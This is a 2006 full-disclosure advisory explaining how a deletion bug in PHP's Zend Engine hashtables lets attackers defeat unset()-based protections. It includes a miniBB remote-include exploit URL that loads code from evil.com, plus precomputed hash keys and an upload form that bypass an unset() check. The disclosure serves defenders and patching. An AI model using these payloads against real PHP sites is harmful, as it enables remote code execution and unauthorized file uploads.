[Full-disclosure] PHP: Zend_Hash_Del_Key_Or_Index Vulnerability

Zend_Hash_Del_Key_Or_Index Vulnerability

In late January 2006 we had discovered a weakness within the depths of the implementation of hashtables in the Zend Engine that has a huge impact on the security of PHP scripts. While this vulnerability had been fixed immediately within the PHP CVS it took 6 month for this fix to make it into the next release of PHP 4.

Until today we have given detailed information about this flaw only to a few trusted parties because the official PHP packages were not updated until last week. However patches for this vulnerability could be downloaded from http://www.hardened-php.net/ for several months now and several major linux distributions have already merged our fixes into their security update packages.

Now after everyone is able to upgrade his PHP to a not vulnerable version we will describe in detail the nature of this flaw, that opens up new vulnerabilities in securely written PHP applications and also opens up old vulnerabilities that have been previously known and fixed in a certain kind of way.
Zend Engine HashTables

To be able to understand the following description of the vulnerability it is first necessary to understand how the HashTable implementation within the Zend Engine works and what it is used for. First it is essential to know, that PHP uses Zend Engine HashTables all over the code. They are used to store lots of information like handlers for different POST content types, or handlers for different registered streams. Additionally the PHP array datatype and the global symboltable are nothing more than a Zend Engine HashTable that stores ZVAL pointers. PHP‘s HashTables consist of a hashtable descriptor and an array of bucket-slots. Each of the bucket-slots points to a double-linked list to buckets that have the same hashvalue. Additionally a double-linked list of all elements is kept for easy table traversion.
HashTable Descriptor
Name Description
nTableSize Number of bucketslots
nTableMask 2 ^ nTableSize - 1
nNumOfElements Number of elements stored in the table
uNextFreeElement Next free numerical index
pInternalPointer Used for element traversal
pListHead Head of double-linked list of all elements
pListTail Tail of double-linked list of all elements
arBuckets Points to the bucketarray
pDestructor Points to a element destructor
persistent Flag: persistent or per request hashtable
nApplyCount Used for recursion protection
bApplyProtection Used for recursion protection

Bucket
Name Description
h Hashvalue
nKeyLength strlen(key)+1 or 0 for numerical index
pData Pointer to stored data
pDataPtr space to store the data if it is only a pointer
pListNext Next in list of all elements
pListLast Last in list of all elements
pNext Next in list of elements within this bucketslot
pLast Last in list of elements within this bucketslot
arKey Alphanumerical hashkey if not numerical index

Hashvalue

Zend Engine HashTables know 2 kinds of indices in PHP4. Numerical and alphanumerical. When an index only consists of digits it is automatically handled as numerical index instead of an alphanumerical. In PHP5 this has been changed, because it knows about symboltables and normal hashtables. In symboltables numerical indices are still handled automatically.

When an index is treated as numerical no hashvalue calculation is performed. Instead the numerical value is used directly to determine the correct bucket-slot. Such a bucket is then marked as numerical index by setting the nKeyLength field to 0.

For alphanumerical indices on the other hand the key is first hashed with either DJBX33X for PHP 4 or DJBX33A for PHP 5. The resuling hashvalue is then used for bucket-slot determination. In case of alphanumerical keys the hashvalue is filled into the bucket, the length of the key plus one is filled in the nKeyLength field and the key is copied into the arKey field.
DJBX33A - Daniel J. Bernstein, Times 33 with Addition

static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength)
{
ulong h = 5381;
char *arEnd = arKey + nKeyLength;

    while (arKey < arEnd) {
            h += (h << 5);
            h += (ulong) *arKey++;
    }
    return h;

}

DJBX33X - Daniel J. Bernstein, Times 33 with XOR

static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength)
{
ulong h = 5381;
char *arEnd = arKey + nKeyLength;

    while (arKey < arEnd) {
            h += (h << 5);
            h ^= (ulong) *arKey++;
    }
    return h;

}

The flaw

While reading through zend_hash.c we discovered that there is a deeply hidden flaw in the way element deletion is performed. The bug is within the zend_hash_del_key_or_index function that is used for example by things like PHP‘s unset() statement.

int zend_hash_del_key_or_index(HashTable *ht, char *arKey, uint nKeyLength, ulong h, int flag)
{
uint nIndex;
Bucket *p;

IS_CONSISTENT(ht);

if (flag == HASH_DEL_KEY) {
	h = zend_inline_hash_func(arKey, nKeyLength);
}
nIndex = h & ht->nTableMask;

p = ht->arBuckets[nIndex];
while (p != NULL) {
	if ((p->h == h) && ((p->nKeyLength == 0) || /* Numeric index */
		((p->nKeyLength == nKeyLength) 
                     && (!memcmp(p->arKey, arKey, nKeyLength))))) {
		
                    /* CODE TO DELETE THIS ELEMENT */

		ht->nNumOfElements--;
		return SUCCESS;
	}
	p = p->pNext;
}
return FAILURE;

The code above first calculates the bucket-slot by ANDing the hashvalue with the content of the nTableMask field. For alphanumerical keys it has to call the hashfunction for this. It then traverses the buckets connected to the bucket-slot until it finds the correct bucket and then deletes it. Unfortunately the logic to determine the correct bucket is broken. The condition of the if statement evaluates to true if the hashvalue matches and the bucket is either a numerical index or the bucket is an alphanumerical index and the key matches. This actually means, that if one wants to delete an alphanumerical bucket and there is a bucket with a numerical key with the same hashvalue first in the traversed list the bucket belonging to the numerical key will be deleted instead of the alphanumerical one.
The Impact

To understand the danger that arises from this little bug, that is deeply within the core of the Zend Engine it is necessary to realise what parts of PHP are affected by this. After a while of thinking it should become obvious that one of the affected things is the unset() statement which can be used to delete variables from PHP‘s symboltable or to remove elements from arrays. Additionally it is necessary to keep in mind that very often applications programmers make the use of unset() to initialise variables or to remove unwanted variables.

Nowadays many application come with register_globals deregistration layers, that first unset() all unwanted global variables as protection against servers where register_globals is still turned on. These layers usually get added to protect against forgetten variable initialisation or after the application has been hit by exploits caused by such missing initialisations. Examples for such applications are phpBB and Wordpress. Other applications like for example miniBB only unset() a few known troublemakers as hotfixes for previously found exploits.

Although the previously mentioned examples may let you believe that this is a problem which only affects servers where register_globals is turned on, be assured this is not the case. For example one of the most popular bulletin boards: vBulletin uses unset() on f.e. the _FILES array, to get rid of disallowed attachments. Other applications that do not rely on register_globals being turned on can also be vulnerable and several examples are known to us, however the impact is not as high as on applications that run on servers with register_globals turned on. For the later this vulnerability of PHP is catastrophic.

As an example: When magic_quotes_gpc is turned off and register_globals turned on this vulnerability can be used to remotely execute PHP code on servers running the latest version of phpBB 2.0.21. (Atleast at the moment we only know about a bug that requires magic_quotes_gpc turned off. However a different bug may still exist. f.e. in previous versions of phpBB only register_globals needs to be turned on to exploit a different flaw that is meanwhile fixed).
Examples
miniBB

In previous versions of miniBB there existed a remote URL include vulnerability through f.e. the includeHeader variable. It was possible to exploit this vulnerability when no includeHeader was specified in the configuration file. A sample exploit against the old vulnerability would look like this

http://server/miniBB/index.php?includeHeader=http://www.evil.com/?

This vulnerability has been fixed by unset()ing the includeHeader variable in the beginning of the script. However the zend_hash_del_key_or_index vulnerability described in this document allows to still exploit this vulnerability with little modification to the exploit URL.

With the bug in mind we know, that all we need to survive the single unset() statement is a numerical key with the same hashvalue that appears in the list before the alphanumerical one. This means it has to appear in the URL after the includeHeader variable, because later elements are put to the head of the list.

Because PHP 4 and PHP 5 use 2 different hash functions two values have to be calculated. For the alphanumerical key includeHeader they are
Version Value
PHP 4 -269001946
PHP 5 -834358190

Knowing both values it is now easy to construct the new exploit URL

http://server/miniBB/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1

simple file upload example

To show that this also affects scripts who do not rely on register_globals the following little example is shown

<?php

include "…/include/functions.inc.php";

session_start();

if (isset($_FILES['attachment']) && !uploadsAllowed($_SESSION['user'])) {
unset($_FILES['attachment']);
}

if (isset($_FILES['attachment'])) {
/* handle the file */
}

?>

In this little example the whole security is based on the unset() operator, that is used to remove the attachment from the _FILES array in case the permissions do not allow the upload.

To exploit this through the unset() vulnerability the first step is again to determine the hashvalues of the string attachment. The table lists the correct values for both PHP versions.
Version Value
PHP 4 472504636
PHP 5 1425328718

Now all one needs to exploit this PHP script is a simple modified file upload formular.

<form method="post" action="vuln.php" encode="multipart/form-data">
<input type="file" name="attachment">
<input type="file" name="472504636">
<input type="file" name="1425328718">
<input type="submit" name="submit">
</form>

After clicking the submit button the script gets sucessfully exploited.
Recommendation

This vulnerability affects a large number of PHP applications. It creates large new holes in many popular PHP applications. Additonally many old holes that were disclosed in the past were only fixed by using the unset() statement. Many of these holes are still open if the already existing exploits are changed by adding the correct numerical keys to survive the unset(). An example for such an old hole is described above for miniBB. For phpBB such an old hole is the signature_bbcode_uid vulnerability that we disclosed in the past. However recent changes in phpBB introduced a double unset() on signature_bbcode_uid which results in it being protected against the unset() vulnerability. Unfortunately there still exists a hole in the handling of the signature variable that can be used to first perform an SQL injection and store certain things in the database that can later be used to perform a code execution exploit. Details of this vulnerability will not be disclosed at this point in time.

We strongly recommend that everyone upgrades to the latest PHP versions 4.4.3 and 5.1.4 to be protected against this vulnerability. Additionally as usual we recommend to use our PHP Hardening-Patch, because it automatically protects against a lot of unknown vulnerabilities.
Copyright

2006 © Stefan Esser [email protected]